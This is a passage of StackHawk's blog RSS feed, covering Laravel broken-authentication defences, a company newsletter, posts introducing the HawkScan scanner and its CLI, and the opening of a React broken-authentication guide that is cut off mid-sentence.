let&amp;#39;s walk through some ways of fixing Laravel broken authentication due to weak passwords. &lt;/p&gt;&lt;p&gt;The first thing to do to prevent the password exploit is to enforce a &lt;b&gt;strong password policy&lt;/b&gt; that prevents users from signing up with easy to predict passwords like &amp;quot;123456&amp;quot; and &amp;quot;password.&amp;quot; For example, you can require that users include both uppercase and lowercase letters in passwords, as well as numbers and special characters. &lt;/p&gt;&lt;p&gt;In addition to a strong password policy, you can reduce the chances of Laravel broken authentication by setting up a &lt;b&gt;login attempt limit&lt;/b&gt;. This allows users to retry logging in only a few times after they enter a wrong password. Attackers may use a trial and error approach (brute force) to guess login details. Limiting login attempts gives them fewer trials, and thus, reduces risk.&lt;/p&gt;&lt;p&gt;The following code shows how you can implement a login attempt limit in Laravel 8: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Route::post(&amp;#39;/login&amp;#39;, [LoginController::class, &amp;#39;login&amp;#39;])-&amp;gt;middleware(&amp;quot;throttle:8,2&amp;quot;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This code adds the built-in Laravel throttle middleware to the login route. The middleware limits the route to eight requests within two minutes. &lt;/p&gt;&lt;p&gt;To prevent Laravel broken authentication due to database breaches, never store passwords in plain text. You should also have HTTPS enabled for login and registration pages and for endpoints. That is to say, never transmit passwords over insecure protocols. &lt;/p&gt;&lt;p&gt;The last measure we&amp;#39;ll consider is using &lt;a href=&quot;https://en.wikipedia.org/wiki/Multi-factor_authentication&quot;&gt;&lt;u&gt;multi-factor authentication&lt;/u&gt;&lt;/a&gt;. This method even provides some defense against phishing, as it requires users to enter a token, usually sent via email or SMS. However, this method may fail if the user&amp;#39;s email is also compromised. An effective way to reduce the danger of phishing further is to educate and discourage users from interacting with suspicious sites. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Key Takeaways&lt;/h2&gt;&lt;p&gt;We&amp;#39;ve come to the end of this post on Laravel broken authentication and here are a few things to note: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Broken authentication is a name for several web application vulnerabilities that can enable attackers to impersonate legitimate users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Laravel applications are vulnerable to broken authentication exploits.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Practices like using HTTPS, strong password policies, login attempt limits, and multifactor authentication can greatly reduce the risk of Laravel broken authentication.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;i&gt;This post was written by Pius Aboyi. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/aboyipius/?originalSubdomain=ng&quot;&gt;&lt;u&gt;&lt;i&gt;Pius&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a mobile and web developer with over 4 years of experience building for the Android platform. He writes code in Java, Kotlin, and PHP. He loves writing about tech and creating how-to tutorials for developers.&lt;/i&gt;    &lt;/p&gt;</content:encoded></item><item><title><![CDATA[January Newsletter: New StackHawk Scanner, Shifting Security Left, and More!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-january-newsletter-2022</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;h2&gt;The Changelog: New Features to Kaakaww About&lt;/h2&gt;&lt;p&gt;This month we introduced a new version of the StackHawk scanner that makes it easier to embed application security testing into the developer workflow. &lt;/p&gt;&lt;p&gt;This updated scanner equips development teams to overcome the trickiest parts of application security testing while giving engineers a more familiar way to interact with StackHawk. &lt;/p&gt;&lt;p&gt;Highlights of the new release include: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;The StackHawk CLI. &lt;/b&gt;Users get a new way install and interact with the StackHawk scanner. With a few simple commands users can initialize the scanner, validate the config, and get going with security testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Configuration Linting. &lt;/b&gt;The new scanner is capable of identifying issues in both the StackHawk configuration YAML and OpenAPI specs before a user kicks off a scan.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Custom Auth Support. &lt;/b&gt;StackHawk can support your team’s one-of-a-kind auth scenario with just a few lines of YAML – meaning better app coverage with less time spent on configuration.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/new-stackhawk-scanner/&quot;&gt;Read the Announcement&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/getting-started-with-the-new-stackhawk-scanner/&quot;&gt;Getting Started Guide&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;What Does &amp;quot;Shifting Security Left&amp;quot; Mean?&lt;/h2&gt;&lt;p&gt;“Shifting security left” has become a buzzword, but the concept of shifting left is not new. At its core, shifting left means taking things that are done toward the end of the software development workflow and moving them earlier in the process. &lt;/p&gt;&lt;p&gt;When applied to security testing, shifting security left allows devs to fix security bugs faster, security to effectively scale efforts across an org, and overall drives a more efficient delivery of secure software.&lt;/p&gt;&lt;p&gt;Not convinced yet that shifting security testing left is right for your team? Read the blog to find out why this should move up your priority list.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/why-shift-security-left/&quot;&gt;Start to Shift Left&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;⚡️ Announcing the ZAPCon Speaker Lineup&lt;/h2&gt;&lt;p&gt;The wait is over: you can now view the ZAPCon speaker lineup!&lt;/p&gt;&lt;p&gt; ZAPCon will kick off on March 8 with a full day of talks from security and ZAP experts such as Jim Manico, CEO and Application Security Educator at Manicode Security, and Simon Bennetts, ZAP Founder and Distinguished Engineer at StackHawk. Then, stay turned for a morning of ZAP workshops on March 9. &lt;/p&gt;&lt;p&gt;ZAPCon is a free virtual event for ZAP users and those that want to level up their AppSec game. Register now so you don’t miss these exclusive talks and workshops.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://zapcon.io/&quot;&gt;See the Lineup&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://hopin.com/events/zapcon/registration&quot;&gt;Register Now&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Other Happenings&lt;/h2&gt;&lt;p&gt;&lt;b&gt;📺 Hawk Talks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=m1VN-RjTHHo&quot;&gt;Scott Gerlach on the DevOps.com GitOps Panel&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/pN8FseGNEk4&quot;&gt;Introducing the StackHawk CLI: Technical Demo&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=TI7E14vYWtU&quot;&gt;&lt;b&gt;JS Security Testing in GitHub Actions Workshop&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/getting-started-with-the-new-stackhawk-cli/&quot;&gt;Getting Started with the New StackHawk CLI&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/why-shift-security-left/&quot;&gt;Why Shift Security Left?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/log4shell-issue-overview-and-stackhawk-response-to-log4j-remote-code/&quot;&gt;Log4Shell: Issue Overview and StackHawk Response to Log4j Vulnerability&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽 Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;February 14: &lt;a href=&quot;https://webinars.devops.com/devsecops&quot;&gt;DevSecOps Panel on DevOps.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;February 17-18: &lt;a href=&quot;https://nodecongress.com/&quot;&gt;Node Congress&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;March 8: &lt;a href=&quot;https://zapcon.io/&quot;&gt;ZAPCon&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;March 8: &lt;a href=&quot;https://www.thedevopsconference.com/&quot;&gt;The DEVOPS Conference&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;March 24: &lt;a href=&quot;https://www.devopsjsconf.com/&quot;&gt;DevOps.js Conference&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt; 💼 Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Developer Advocate&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DevOps Engineer&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Sales Development Representative&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Senior Product Manager, Growth&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Getting Started With the New StackHawk Scanner]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/getting-started-with-the-new-stackhawk-scanner</guid><category><![CDATA[StackHawk News]]></category><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;We are beyond thrilled to have &lt;a href=&quot;https://www.stackhawk.com/blog/new-stackhawk-scanner/&quot;&gt;released a new version&lt;/a&gt; of the StackHawk scanner, sometimes referred to as HawkScan. &lt;/p&gt;&lt;p&gt;All the new features in this version of the scanner help overcome the most common challenges engineers run into when making application security testing part of their workflows.&lt;/p&gt;&lt;p&gt;This post will get into details on each one of the new features including the new CLI, configuration linting, and custom authentication support. &lt;/p&gt;&lt;p&gt;Let’s get into what each feature does and how you can use it to optimize your team&amp;#39;s application security testing program.&lt;/p&gt;&lt;h2&gt;Getting Started Pre-Reqs&lt;/h2&gt;&lt;p&gt;In order to get going with the latest version of the StackHawk scanner you will need to:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Have a StackHawk account. Sign-up &lt;a href=&quot;https://auth.stackhawk.com/login&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Create an app in the StackHawk platform. This requires configuring an app which will provide you with an API key and a YAML config file. Make sure you save these!&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;Deployment: Docker or CLI, Which One to Choose?&lt;/h2&gt;&lt;p&gt;The StackHawk scanner has been available as a Docker image since we introduced the tool. Depending on your deployment scenario, using Docker to run the StackHawk scanner could still be great, or you could get big benefits from using the CLI. &lt;/p&gt;&lt;p&gt;The features described later in this blog post including config validation and custom auth scripting are available in both the Docker and CLI versions of the scanner. &lt;/p&gt;&lt;p&gt;The StackHawk CLI and Docker container will be released on the same versioning cycle and will be feature compatible moving forward. &lt;/p&gt;&lt;h3&gt;Docker Could Be Right For You If…&lt;/h3&gt;&lt;p&gt;For many CI/CD use cases the StackHawk Docker container is the best choice for running scans against a web application. By nature, the Docker framework wraps the scanner into a single image that is simple to instrument and automate in pipelines.&lt;/p&gt;&lt;h3&gt;The CLI Could Be Right for You If… &lt;/h3&gt;&lt;p&gt;There are two primary areas where the CLI can help users reach a successful scan faster. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The CLI is ideal for those looking to integrate StackHawk in their local development environment. The commands available in the CLI provide greater granularity to understand the scanner and ensure that it is configured appropriately, all from the terminal. Certain commands will run faster via the CLI than Docker due to lower runtime overhead in most scenarios – this makes the CLI better suited for rapid iteration. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In some instances, the Docker version of the StackHawk scanner can be prohibitive to use in CI/CD either due to limited Docker support or Docker-in-Docker issues. In these scenarios, the CLI can be a great workaround for running the scanner as part of your automated testing. &lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Using the StackHawk CLI&lt;/h3&gt;&lt;p&gt;The new version of the StackHawk scanner introduces the StackHawk CLI. &lt;/p&gt;&lt;p&gt;We love the CLI because it gives developers a more familiar way to install and interact with application security tooling. And even better, they can identify vulnerabilities in their code without changing their workflow. &lt;/p&gt;&lt;p&gt;We have put together a &lt;a href=&quot;https://www.stackhawk.com/blog/getting-started-with-the-new-stackhawk-cli/&quot;&gt;&lt;u&gt;comprehensive getting started guide&lt;/u&gt;&lt;/a&gt; on this feature, but here are a a few highlights: &lt;/p&gt;&lt;h4&gt;Installation &lt;/h4&gt;&lt;p&gt;Before installing the CLI, make sure you are running Java 11 or higher. &lt;/p&gt;&lt;p&gt;Once you have done so, you can then install the CLI via &lt;a href=&quot;https://docs.stackhawk.com/stackhawk-cli/#install-with-homebrew&quot;&gt;&lt;u&gt;homebrew&lt;/u&gt;&lt;/a&gt; or you can &lt;a href=&quot;https://docs.stackhawk.com/stackhawk-cli/#install-with-zip-file&quot;&gt;&lt;u&gt;install the zip&lt;/u&gt;&lt;/a&gt;, depending on your personal preference. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/stackhawk-cli/#install&quot;&gt;&lt;u&gt;Our docs&lt;/u&gt;&lt;/a&gt; can help you understand these two options in greater detail, and walk you through installation step by step.&lt;/p&gt;&lt;h4&gt;CLI Commands&lt;/h4&gt;&lt;p&gt;Currently, the CLI offers four primary commands to help developers get going with StackHawk. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;hawk --help&lt;/code&gt; or &lt;code&gt;hawk -h&lt;/code&gt;: We recommend using this command to get your bearings and understand all the details for usage, commands, and options for the scanner. This can also be used with subcommands. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;hawk init&lt;/code&gt;: This command connects you to the StackHawk platform. Upon entering this command you will be prompted for your API key to authenticate your session. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;hawk validate&lt;/code&gt;: Use this command to ensure that your StackHawk configuration file is error free. More on this validation capability below!&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;hawk scan&lt;/code&gt;: This is where the magic happens! Use this command to kick off a StackHawk scan and start finding vulnerabilities. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you are looking for more details check out our full &lt;a href=&quot;https://www.stackhawk.com/blog/getting-started-with-the-new-stackhawk-cli/&quot;&gt;&lt;u&gt;CLI Getting Started Guide&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Configuration Validation&lt;/h2&gt;&lt;p&gt;Getting configuration right for any application security testing tool can be tricky.&lt;/p&gt;&lt;p&gt;The latest version of the StackHawk scanner now provides users with real-time feedback on configuration before the scan starts. &lt;/p&gt;&lt;p&gt;Not only does this allow for huge time recapture, but it also saves on frustration from unreadable error codes when a scan doesn’t succeed. &lt;/p&gt;&lt;h3&gt;YAML Linting Validation&lt;/h3&gt;&lt;p&gt;We have introduced three ways you can validate your StackHawk YAML config before attempting a scan.&lt;/p&gt;&lt;h4&gt;📺 Technical Demo&lt;/h4&gt;&lt;p&gt;StackHawk engineer Omar Alkhalili will give you the lowdown on YAML validation. This is a great resource to watch, pause, and replay as you get going.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/oa0r5qv9bo?videoFoam=true&quot;&gt;[Video]&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Validation In Your IDE&lt;/h4&gt;&lt;p&gt;If you are using IntelliJ, you can now validate your StackHawk YAML, right from your IDE. &lt;/p&gt;&lt;p&gt;If your YAML is not configured correctly, the IDE will highlight the portions that need fixing, and provide insights as to how the error can be resolved. &lt;/p&gt;&lt;p&gt;Follow the prompts to get the configuration polished and you are ready to scan.&lt;/p&gt;&lt;h4&gt;Validation With The CLI &lt;/h4&gt;&lt;p&gt;Using the CLI, you can validate your configuration with either the &lt;code&gt;hawk validate&lt;/code&gt; command or while running the &lt;code&gt;hawk scan&lt;/code&gt; command. &lt;/p&gt;&lt;p&gt;Using &lt;code&gt;hawk validate&lt;/code&gt;, the CLI will quickly return error messages should your StackHawk YAML not be configured correctly. &lt;/p&gt;&lt;p&gt;If you attempt to initiate a scan with &lt;code&gt;hawk scan&lt;/code&gt; with an invalid config, the same error messages will be displayed.&lt;/p&gt;&lt;h4&gt;Validation With Docker &lt;/h4&gt;&lt;p&gt;Similar to the &lt;code&gt;hawk scan&lt;/code&gt; scenario, if you attempt a scan using the &lt;code&gt;docker run&lt;/code&gt; command, you will be given detailed error messages pointing to the misconfigurations in your StackHawk YAML. &lt;/p&gt;&lt;p&gt;As with the CLI, these messages will include suggestions to help troubleshoot so you can get your scan kicked off. &lt;/p&gt;&lt;h3&gt;OpenAPI Specification Validation&lt;/h3&gt;&lt;p&gt;We know that using your OpenAPI spec with security tooling can come with tremendous benefits in the form of better coverage and higher quality findings. But it can also be tricky. &lt;/p&gt;&lt;p&gt;That’s why we are so excited to introduce OpenAPI specification linting. This can happen in your IDE or when you initiate a scan with either the StackHawk CLI or the Docker image. &lt;/p&gt;&lt;h4&gt;📺 Technical Demo&lt;/h4&gt;&lt;p&gt;Follow along as Omar Alkhalili walks you through getting your OpenAPI spec configured correctly for HawkScan. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/octht47uxn?videoFoam=true&quot;&gt;[Video]&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Validation In Your IDE&lt;/h4&gt;&lt;p&gt;Similarly to YAML Linting, IntelliJ will now notify you if your OpenAPI specification contains errors and give you guidance on how to fix it. &lt;/p&gt;&lt;h4&gt;Validation With Scan Initiation&lt;/h4&gt;&lt;p&gt;Whether you are using the CLI or the Docker image, OpenAPI linting is now included in StackHawk’s pre-scan checks. The scanner will attempt to parse the OpenAPI file, and if the file is not formatted correctly, an error message with troubleshooting details will appear in the terminal.&lt;/p&gt;&lt;p&gt;This happens before the full scan initiates so you don’t have to waste time. &lt;/p&gt;&lt;h2&gt;Improved Auth Support&lt;/h2&gt;&lt;p&gt;The last hurdle in getting going with automated application security testing is authentication. And while this can be a huge lift for many teams, complete protection for your apps requires that security tooling is able to complete an authenticated scan. &lt;/p&gt;&lt;p&gt;While previously StackHawk supported three of the most common authentication scenarios, we now provide even more flexibility to fit your team’s one-of-a-kind auth needs. &lt;/p&gt;&lt;h3&gt;Custom Auth Scripting&lt;/h3&gt;&lt;p&gt;Users can now write custom scripts in JavaScript and Kotlin via &lt;a href=&quot;https://www.zaproxy.org/docs/desktop/start/features/scripts&quot;&gt;&lt;u&gt;ZAP scripting support.&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;To use authentication scripts in HawkScan you&amp;#39;ll need to walk through three key steps.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Create script files with functions defined to match the interface of &lt;a href=&quot;https://www.zaproxy.org/docs/desktop/start/features/scripts/#script-types&quot;&gt;&lt;u&gt;the script type&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Add your script to the &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/#hawkaddonscripts&quot;&gt;&lt;u&gt;hawkAddons.scripts&lt;/u&gt;&lt;/a&gt; configuration section. That configuration should look something like this: 
&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Add the authentication.script and/or authentication.sessionScript configuration sections to your StackHawk YAML.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;To learn more about authentication scripts, reference the &lt;a href=&quot;https://github.com/kaakaww/hawkscan-examples&quot;&gt;&lt;u&gt;Examples repository&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Get Going with the New Version of the StackHawk Scanner&lt;/h2&gt;&lt;p&gt;Leading teams know that application security testing has to be part of the development workflow, and the new version of the StackHawk scanner makes that possible. &lt;/p&gt;&lt;p&gt;By equipping development teams to overcome the trickiest parts of scanning, your team will be able to have consistent and efficient security testing as part of the software delivery process. &lt;/p&gt;&lt;p&gt;If you are new to StackHawk, try getting started with an example app from &lt;a href=&quot;https://github.com/orgs/kaakaww/repositories&quot;&gt;&lt;u&gt;our vulnerable app repos&lt;/u&gt;&lt;/a&gt; and see how simple it is to execute your first scan. If you are an existing user, try giving the CLI a go and see how easy it is to make application security testing part of your local development. &lt;/p&gt;&lt;p&gt;If you run into challenges along the way, drop us a line at &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;&lt;u&gt;support@stackhawk.com&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Announcing the New StackHawk Scanner]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/new-stackhawk-scanner</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;When we established StackHawk in 2019, we had a clear vision. Application security testing needed to be rethought to give engineers the capability to easily find and fix security bugs while writing code – not after that code has been deployed to production. &lt;/p&gt;&lt;p&gt;We have worked relentlessly to reshape how security testing is done over the past two years. We created a simple to configure dynamic application security testing (DAST) scanner that can be fully automated in CI/CD. We have provided developers with tools to understand and take action on findings immediately, and we provide industry leading testing coverage for APIs. &lt;/p&gt;&lt;p&gt;But today, I am excited to announce our biggest launch yet – the new StackHawk Scanner.

This scanner is full of amazing features, but at its core, it was designed to embed security in the developer workflow and to overcome the most common challenges that keep security from &lt;a href=&quot;https://www.stackhawk.com/blog/why-shift-security-left/&quot;&gt;&lt;u&gt;shifting left&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Making Application Security Testing Part of the Developer Workflow&lt;/h2&gt;&lt;p&gt;With the latest version of the StackHawk scanner, or what we lovingly call “HawkScan,” we had one goal – to make our application and API security testing tool even more developer-friendly. &lt;/p&gt;&lt;p&gt;While the initial version of HawkScan was created to live in an ephemeral Docker container, we wanted the new version to provide developers with more flexible deployment options, while also giving them tools to be self-sufficient with both configuration and troubleshooting. &lt;/p&gt;&lt;p&gt;Here is how we are delivering on that vision: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/getting-started-with-the-new-stackhawk-cli/&quot;&gt;&lt;u&gt;&lt;b&gt;The StackHawk CLI.&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;&lt;b&gt; &lt;/b&gt;We know not everyone loves Docker. Or maybe it just doesn’t fit your team’s deployment scenario. The new CLI gives developers a more familiar way to install and interact with the StackHawk scanner, right from the IDE. With a few simple commands users can initialize the scanner, validate the config, and get going with security testing. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Configuration Linting.&lt;/b&gt; The StackHawk scanner is now capable of identifying issues in both the StackHawk configuration YAML and OpenAPI specs before a user kicks off a scan. No more waiting for scan results just to see an error code that requires troubleshooting. Instead, misconfigurations are highlighted right in the IDE at the get-go. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Custom Auth Support. &lt;/b&gt;Authentication is notoriously difficult to get right for DAST. But, it is arguably the most important feature to automate, since so much of most applications live behind authentication. No matter what your authentication scenario, StackHawk can support it with just a few lines of YAML. This means better app coverage with fewer headaches for your team.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;But, I Love Docker!&lt;/h3&gt;&lt;p&gt;The Docker version of the StackHawk scanner isn’t going anywhere. In fact, configuration linting and custom auth support are now available in the Docker version of the scanner as well. &lt;/p&gt;&lt;p&gt;While the new CLI provides better flexibility for local testing, we know that for many CI/CD use cases the HawkScan Docker container is the best choice! Our engineering team has delivered a product strategy that will ensure feature parity between the CLI and Docker versions moving forward.&lt;/p&gt;&lt;h3&gt;But, What About ZAP?&lt;/h3&gt;&lt;p&gt;When we created our scanner, we proudly built on top of &lt;a href=&quot;http://zaproxy.org&quot;&gt;&lt;u&gt;ZAP&lt;/u&gt;&lt;/a&gt;. And that hasn’t changed. StackHawk is still proudly partnered with the world’s most widely used application security testing tool, so you can have confidence in consistently updated tests from the open-source community, and associated scan results.  &lt;/p&gt;&lt;h2&gt;Make Security Testing Part of Your Workflow&lt;/h2&gt;&lt;p&gt;If you are a developer or lead a development team and are interested in finding application security tooling that can be part of your development process, check out our new &lt;a href=&quot;https://www.stackhawk.com/blog/getting-started-with-the-new-stackhawk-scanner/&quot;&gt;HawkScan Getting Started Guide&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;You will be thrilled with how quickly you can get the YAML configured (even with auth!) and your OpenAPI spec validated. Then enter a quick &lt;code&gt;hawk scan&lt;/code&gt; command if you choose to use the CLI, and you are off to the races delivering more secure applications faster.
&lt;/p&gt;&lt;p&gt;If you are looking for more resources, drop us a line at &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;&lt;u&gt;support@stackhawk.com&lt;/u&gt;&lt;/a&gt;, so we can get you going with your first scan. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[React Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/react-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;I&amp;#39;m sure at some point you&amp;#39;ve had to set up authentication in your React app. But how effectively do you handle session management while keeping social situations in mind? &lt;/p&gt;&lt;p&gt;A broken authentication in your React app could cause attackers to break into your users&amp;#39; accounts. But it isn&amp;#39;t a single vulnerability that you can detect and prevent. It needs you to develop a paradigm that protects your app from a number of authentication loopholes. In this post, I&amp;#39;ll walk you through what it looks like in your React application and how you can prevent it. &lt;/p&gt;&lt;h2&gt;What Is Broken Authentication?&lt;/h2&gt;&lt;p&gt;Broken authentication includes a bunch of authentication loopholes that an attacker exploits as vulnerabilities. An attacker can then use it to authenticate on behalf of a legitimate user of your app. This lets an attacker steal a user&amp;#39;s credentials and access private resources for that particular user. &lt;/p&gt;&lt;p&gt;Authentication is handled mostly on the server side. However, there are a few techniques you can implement on the client side to prevent broken authentication. Let&amp;#39;s look at these techniques in detail. &lt;/p&gt;&lt;h2&gt;Broken Authentication Due to Practical Scenarios&lt;/h2&gt;&lt;p&gt;A lot of times, developers assume that their users will always use a private device to authenticate in their app. There are a number of real-world situations where that doesn&amp;#39;t happen. &lt;/p&gt;&lt;p&gt;For instance, a user could be on a public computer in a cybercafe. Or maybe they&amp;#39;ve used a public network/WiFi to use your web app. Or maybe there&amp;#39;s a visitor in their house or a stranger in their cab who&amp;#39;s using their device to do something. Have you watched &lt;i&gt;Knock Knock&lt;/i&gt; starring Keanu Reaves, where a stranger uses Keanu&amp;#39;s logged-in Facebook account to post something? That&amp;#39;s a social scenario where an attacker uses the carelessness of the user to cause them damage. &lt;/p&gt;&lt;p&gt;Users generally tend to forget to log out of their accounts, especially on their own devices. If a user&amp;#39;s device goes missing or is stolen, the attacker has full control over the user&amp;#39;s account. &lt;/p&gt;&lt;p&gt;If you&amp;#39;ve never thought of these cases while implementing authentication in your app, you&amp;#39;re bound to have broken authentication. So what&amp;#39;s the solution? &lt;/p&gt;&lt;h2&gt;Map Session-ID to the Device ID and IP Address/Location&lt;/h2&gt;&lt;p&gt;Session-Id is a unique UUID that you create to map a session against a user in your database. For instance, if a user is authenticated in your app, your back-end server would send back a session ID. When the user logs out, this session ID is cleared. &lt;/p&gt;&lt;p&gt;&lt;i&gt;How session id works.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;However, just mapping a session ID to a user is not sufficient. Think about the case where an attacker is trying to authenticate in disguise as a legitimate user from their own device. In this case, the device ID will be able to tell you if a session was triggered from a different device. &lt;/p&gt;&lt;h3&gt;The useDeviceId Hook in React&lt;/h3&gt;&lt;p&gt;The device ID is something you&amp;#39;ll need to retrieve from the client side. So how do we do that? We can use a library called FingerprintJS in our React app to do so. Here I have created a React hook that gets the device ID from the FingerprintJS library and returns it back: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You&amp;#39;ll need a Fingerprint browser token, an API secret key equivalent, for the above to work. I got mine by creating an account on FingerprintJS and grabbing that key from my &lt;a 